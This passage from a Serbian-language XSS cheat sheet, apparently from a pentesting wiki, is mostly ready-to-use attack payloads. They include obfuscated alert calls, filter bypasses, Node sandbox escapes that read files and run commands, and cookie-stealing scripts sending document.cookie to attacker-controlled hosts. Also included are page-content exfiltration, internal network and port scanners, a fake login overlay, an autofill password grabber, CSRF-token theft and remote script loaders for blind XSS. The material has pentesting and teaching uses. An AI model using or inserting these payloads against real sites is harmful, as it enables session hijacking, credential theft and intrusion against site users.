this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM ranjivosti
Postoji JS kod koji koristi nesigurne podatke kontrolisane od strane napadača poput location.href
. Napadač bi mogao iskoristiti ovo da izvrši proizvoljan JS kod.
Zbog proširenja objašnjenja o DOM ranjivostima, premješteno je na ovu stranicu:
{% content-ref url="dom-xss.md" %} dom-xss.md {% endcontent-ref %}
Tamo ćete pronaći detaljno objašnjenje šta su DOM ranjivosti, kako se izazivaju i kako ih iskoristiti.
Takođe, ne zaboravite da na kraju pomenutog posta možete pronaći objašnjenje o DOM Clobbering napadima.
Ostali Bypass-ovi
Normalizovani Unicode
Možete provjeriti da li su reflektovane vrijednosti normalizovane u Unicode-u na serveru (ili na klijentskoj strani) i iskoristiti ovu funkcionalnost da zaobiđete zaštitu. Pronađite primjer ovdje.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Bypass za Ruby-On-Rails
Zbog RoR masovnog dodeljivanja navodnici se ubacuju u HTML, a zatim se zaobilazi ograničenje navodnika i mogu se dodati dodatna polja (onfocus) unutar taga.
Primer obrasca (iz ovog izveštaja), ako pošaljete payload:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Par "Ključ","Vrednost" će biti vraćen kao:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Posebne kombinacije
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS sa ubacivanjem zaglavlja u 302 odgovoru
Ako otkrijete da možete ubaciti zaglavlja u 302 Redirect odgovor, možete pokušati naterati pregledač da izvrši proizvoljni JavaScript. Ovo nije trivijalno jer moderni pregledači ne tumače telo HTTP odgovora ako je statusni kod HTTP odgovora 302, pa je samo XSS payload beskoristan.
U ovom izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar zaglavlja Lokacija i videti da li bilo koji od njih omogućava pregledaču da pregleda i izvrši XSS payload unutar tela.
Prošli poznati protokoli: mailto://
, //x:1/
, ws://
, wss://
, prazno zaglavlje Lokacija, resource://
.
Samo slova, brojevi i tačke
Ako možete naznačiti callback koji će JavaScript izvršiti ograničen na ove karaktere, pročitajte ovaj odeljak ovog posta da biste saznali kako iskoristiti ovaj ponašanje.
Validni <script>
Content-Type za XSS
(Od ovde) Ako pokušate učitati skript sa content-type-om poput application/octet-stream
, Chrome će prikazati sledeću grešku:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Jedini Content-Type-ovi koji će podržati Chrome da pokrene učitanu skriptu su oni unutar konstante kSupportedJavascriptTypes
sa https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Vrste skriptova za XSS
(Od ovde) Dakle, koje vrste mogu biti naznačene za učitavanje skripta?
<script type="???"></script>
Odgovor je:
- modul (podrazumevano, ništa posebno za objašnjavanje)
- webbundle: Web paketi su funkcija koja vam omogućava da zapakujete gomilu podataka (HTML, CSS, JS...) zajedno u
.wbn
fajl.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Omogućava poboljšanje sintakse uvoza
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment";
import { partition } from "lodash";
</script>
Ovo ponašanje je korišćeno u ovom writeup-u da bi se preslikala biblioteka na eval kako bi se zloupotrebila i izazvala XSS.
- speculationrules: Ova funkcija je uglavnom tu da reši neke probleme izazvane predrenderovanjem. Radi na sledeći način:
<script type="speculationrules">
{
"prerender": [
{"source": "list",
"urls": ["/page/2"],
"score": 0.5},
{"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1}
]
}
</script>
Vrste web sadržaja za XSS
(Sa ovde) Sledeći tipovi sadržaja mogu izvršiti XSS u svim pregledačima:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nije na listi, ali mislim da sam ovo video na CTF-u)
- application/rss+xml (isključeno)
- application/atom+xml (isključeno)
U drugim pregledačima se mogu koristiti i drugi Content-Types
za izvršavanje proizvoljnog JS koda, proverite: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Tip sadržaja
Ako stranica vraća tip sadržaja text/xml, moguće je naznačiti namespace i izvršiti proizvoljni JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Posebni obrasci zamene
Kada se koristi nešto poput "neki {{šablon}} podaci".replace("{{šablon}}", <korisnički_unos>)
, napadač može koristiti posebne zamene niski da pokuša da zaobiđe neke zaštite: "123 {{šablon}} 456".replace("{{šablon}}", JSON.stringify({"ime": "$'$`alert(1)//"}))
Na primer, u ovom objašnjenju, ovo je korišćeno da izbegne JSON nisku unutar skripte i izvrši proizvoljan kod.
Chrome keširanje za XSS
{% content-ref url="chrome-cache-to-xss.md" %} chrome-cache-to-xss.md {% endcontent-ref %}
XS Jails bekstvo
Ako imate ograničen skup karaktera za korišćenje, proverite ova druga validna rešenja za XSJail probleme:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Ako je sve nedefinisano pre izvršavanja nepoverenog koda (kao u ovom writeup-u), moguće je generisati korisne objekte "iz ničega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepoverenog koda:
- Korišćenjem import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
- Pristupanje
require
indirektno
Prema ovome moduli su omotani od strane Node.js unutar funkcije, kao što je ovo:
(function (exports, require, module, __filename, __dirname) {
// our actual module code
});
Dakle, ako iz tog modula možemo pozvati drugu funkciju, moguće je koristiti arguments.callee.caller.arguments[1]
iz te funkcije da pristupimo require
:
{% code overflow="wrap" %}
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
Na sličan način kao u prethodnom primeru, moguće je koristiti rukovaoce greškama da pristupite omotaču modula i dobijete funkciju require
:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = ''.constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log('='.repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req('child_process').execSync('id').toString())
}
}
}
trigger()
Obfuskacija i Napredni Bypass
- Različite obfuskacije na jednoj stranici: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://ooze.ninja/javascript/poisonjs
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Napredniji JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()</script>
//aaencode
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
// It's also possible to execute JS code only with the chars: []`+!${}
XSS uobičajeni payload-ovi
Više payload-ova u 1
{% content-ref url="steal-info-js.md" %} steal-info-js.md {% endcontent-ref %}
Preuzimanje kolačića
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
{% hint style="info" %} Nećete moći pristupiti kolačićima iz JavaScript-a ako je postavljena zastava HTTPOnly u kolačiću. Ali ovde imate neke načine za zaobilaženje ove zaštite ako imate dovoljno sreće. {% endhint %}
Ukradi sadržaj stranice
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8";
var attacker = "http://10.10.14.8/exfil";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open('GET', url, true);
xhr.send(null);
Pronađite interne IP adrese
<script>
var q = []
var collaboratorURL = 'http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net';
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for(i=1;i<=255;i++){
q.push(
function(url){
return function(){
fetchUrl(url, wait);
}
}('http://192.168.0.'+i+':8080'));
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for(i=1; i<=n_threads; i++){
if(q.length) q.shift()();
}
function fetchUrl(url, wait){
console.log(url)
var controller = new AbortController(), signal = controller.signal;
fetch(url, {signal}).then(r=>r.text().then(text=>
{
location = collaboratorURL + '?ip='+url.replace(/^http:\/\//,'')+'&code='+encodeURIComponent(text)+'&'+Date.now()
}
))
.catch(e => {
if(!String(e).includes("The user aborted a request") && q.length) {
q.shift()();
}
});
setTimeout(x=>{
controller.abort();
if(q.length) {
q.shift()();
}
}, wait);
}
</script>
Port Skener (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Skener (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Kratka vremena ukazuju na odgovarajući port Duža vremena ukazuju na nedostatak odgovora.
Pregledajte listu zabranjenih portova u Chrome ovde i u Firefox-u ovde.
Polje za unos podataka
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Snimanje automatskog popunjavanja lozinki
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Kada se unesu podaci u polje za lozinku, korisničko ime i lozinka se šalju na server napadača, čak i ako klijent izabere sačuvanu lozinku i ne unese ništa, podaci će biti eksfiltrirani.
Keylogger
Samo pretražujući na githubu pronašao sam nekoliko različitih:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Takođe možete koristiti metasploit
http_javascript_keylogger
Krađa CSRF tokena
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Krađa PostMessage poruka
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
Zloupotreba servisnih radnika
{% content-ref url="abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Pristupanje Shadow DOM-u
{% content-ref url="shadow-dom.md" %} shadow-dom.md {% endcontent-ref %}
Poligloti
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
Slepi XSS payloadi
Možete takođe koristiti: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
